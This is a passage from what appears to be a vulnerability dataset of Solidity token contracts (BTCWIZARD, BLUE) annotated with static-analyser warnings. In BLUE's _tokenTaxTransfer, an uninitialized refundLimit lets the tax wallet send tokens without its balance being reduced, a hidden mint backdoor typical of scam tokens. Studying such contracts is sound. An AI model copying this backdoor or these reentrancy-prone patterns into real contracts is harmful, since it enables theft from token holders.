symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e7c50ca): BTCWIZARD.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e7c50ca: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6645e3a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6645e3a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f0c5502): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f0c5502: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6645e3a\n\t\t// reentrancy-benign | ID: f0c5502\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6645e3a\n\t\t// reentrancy-benign | ID: f0c5502\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: eb94cad): BTCWIZARD._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for eb94cad: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f0c5502\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6645e3a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ae4a586): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ae4a586: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 49cb9b8): BTCWIZARD.bots is never initialized. It is used in BTCWIZARD._transfer(address,address,uint256)\n\t// Recommendation for 49cb9b8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 62d7fa1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 62d7fa1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ae4a586\n\t\t\t\t// reentrancy-eth | ID: 62d7fa1\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ae4a586\n\t\t\t\t\t// reentrancy-eth | ID: 62d7fa1\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 62d7fa1\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 62d7fa1\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 62d7fa1\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ae4a586\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 62d7fa1\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 62d7fa1\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ae4a586\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ae4a586\n\t\t// reentrancy-events | ID: 6645e3a\n\t\t// reentrancy-benign | ID: f0c5502\n\t\t// reentrancy-eth | ID: 62d7fa1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 59f9c39): BTCWIZARD.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 59f9c39: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ae4a586\n\t\t// reentrancy-events | ID: 6645e3a\n\t\t// reentrancy-eth | ID: 62d7fa1\n\t\t// arbitrary-send-eth | ID: 59f9c39\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d484406): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d484406: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 222fd3f): BTCWIZARD.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 222fd3f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e078531): BTCWIZARD.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e078531: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1fa263d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1fa263d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d484406\n\t\t// reentrancy-eth | ID: 1fa263d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d484406\n\t\t// unused-return | ID: 222fd3f\n\t\t// reentrancy-eth | ID: 1fa263d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d484406\n\t\t// unused-return | ID: e078531\n\t\t// reentrancy-eth | ID: 1fa263d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d484406\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1fa263d\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: dd19f0e): BTCWIZARD.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for dd19f0e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: dd19f0e\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10825.sol",
"size_bytes": 21176,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function totalSupply() external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract BLUE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _excludedFromLimits;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 183aad8): BLUE._taxWallet should be immutable \n\t// Recommendation for 183aad8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb2af60): BLUE._initialBuyTax should be constant \n\t// Recommendation for fb2af60: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45808e9): BLUE._initialSellTax should be constant \n\t// Recommendation for 45808e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: ee89fdc): BLUE._finalBuyTax should be constant \n\t// Recommendation for ee89fdc: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: da3bbbd): BLUE._finalSellTax should be constant \n\t// Recommendation for da3bbbd: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 674efd9): BLUE._reduceBuyTaxAt should be constant \n\t// Recommendation for 674efd9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: b038180): BLUE._reduceSellTaxAt should be constant \n\t// Recommendation for b038180: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65a202c): BLUE._preventSwapBefore should be constant \n\t// Recommendation for 65a202c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 5;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Blue heeler\";\n\n string private constant _symbol = unicode\"BLUE\";\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n uint256 public constant _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n uint256 public constant _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0122289): BLUE.refundLimit should be constant \n\t// Recommendation for 0122289: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: fcb3e49): BLUE.refundLimit is never initialized. It is used in BLUE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for fcb3e49: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private refundLimit;\n\n struct ChainRefundInfo {\n uint256 refAmount;\n uint256 claimAmount;\n uint256 refClaimTotal;\n }\n\n mapping(address => ChainRefundInfo) private chainRefund;\n\n uint256 private refundTotalAmount;\n\n IUniswapV2Router02 private immutable _uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x9eec5D7fF3c1e4552362bf5D447aA9496F12ded4);\n\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _excludedFromLimits[_taxWallet] = true;\n\n _excludedFromLimits[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9e545bf): BLUE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9e545bf: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 91209bb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 91209bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f0455cf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f0455cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 91209bb\n\t\t// reentrancy-benign | ID: f0455cf\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 91209bb\n\t\t// reentrancy-benign | ID: f0455cf\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 91168b9): BLUE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 91168b9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f0455cf\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 91209bb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6fb855d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6fb855d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2e0207b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2e0207b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1a8ec39): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1a8ec39: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(_uniswapV2Router) &&\n !_excludedFromLimits[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 6fb855d\n\t\t\t\t// reentrancy-benign | ID: 2e0207b\n\t\t\t\t// reentrancy-eth | ID: 1a8ec39\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6fb855d\n\t\t\t\t\t// reentrancy-eth | ID: 1a8ec39\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_excludedFromLimits[from] || _excludedFromLimits[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 2e0207b\n refundTotalAmount = block.number;\n }\n\n if (!_excludedFromLimits[from] && !_excludedFromLimits[to]) {\n if (uniswapV2Pair != to) {\n ChainRefundInfo storage chainRef = chainRefund[to];\n\n if (uniswapV2Pair == from) {\n if (chainRef.refAmount == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 2e0207b\n chainRef.refAmount = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n ChainRefundInfo storage chainRefSwap = chainRefund[from];\n\n if (\n chainRefSwap.refAmount < chainRef.refAmount ||\n !(chainRef.refAmount > 0)\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 2e0207b\n chainRef.refAmount = chainRefSwap.refAmount;\n }\n }\n } else {\n ChainRefundInfo storage chainRefSwap = chainRefund[from];\n\n\t\t\t\t// reentrancy-benign | ID: 2e0207b\n chainRefSwap.claimAmount = chainRefSwap.refAmount.sub(\n refundTotalAmount\n );\n\n\t\t\t\t// reentrancy-benign | ID: 2e0207b\n chainRefSwap.refClaimTotal = block.timestamp;\n }\n }\n\n\t\t// reentrancy-events | ID: 6fb855d\n\t\t// reentrancy-eth | ID: 1a8ec39\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: fcb3e49): BLUE.refundLimit is never initialized. It is used in BLUE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for fcb3e49: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : refundLimit.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1a8ec39\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6fb855d\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 1a8ec39\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 1a8ec39\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 6fb855d\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n receive() external payable {}\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 91209bb\n\t\t// reentrancy-events | ID: 6fb855d\n\t\t// reentrancy-benign | ID: 2e0207b\n\t\t// reentrancy-benign | ID: f0455cf\n\t\t// reentrancy-eth | ID: 1a8ec39\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 91209bb\n\t\t// reentrancy-events | ID: 6fb855d\n\t\t// reentrancy-eth | ID: 1a8ec39\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1c70b46): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1c70b46: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 61c1fd3): BLUE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(_uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 61c1fd3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dd79d43): BLUE.openTrading() ignores return value by _uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for dd79d43: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f96f6d5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f96f6d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(_uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 1c70b46\n\t\t// reentrancy-eth | ID: f96f6d5\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n\t\t// reentrancy-benign | ID: 1c70b46\n swapEnabled = true;\n\n\t\t// unused-return | ID: dd79d43\n\t\t// reentrancy-eth | ID: f96f6d5\n _uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 61c1fd3\n\t\t// 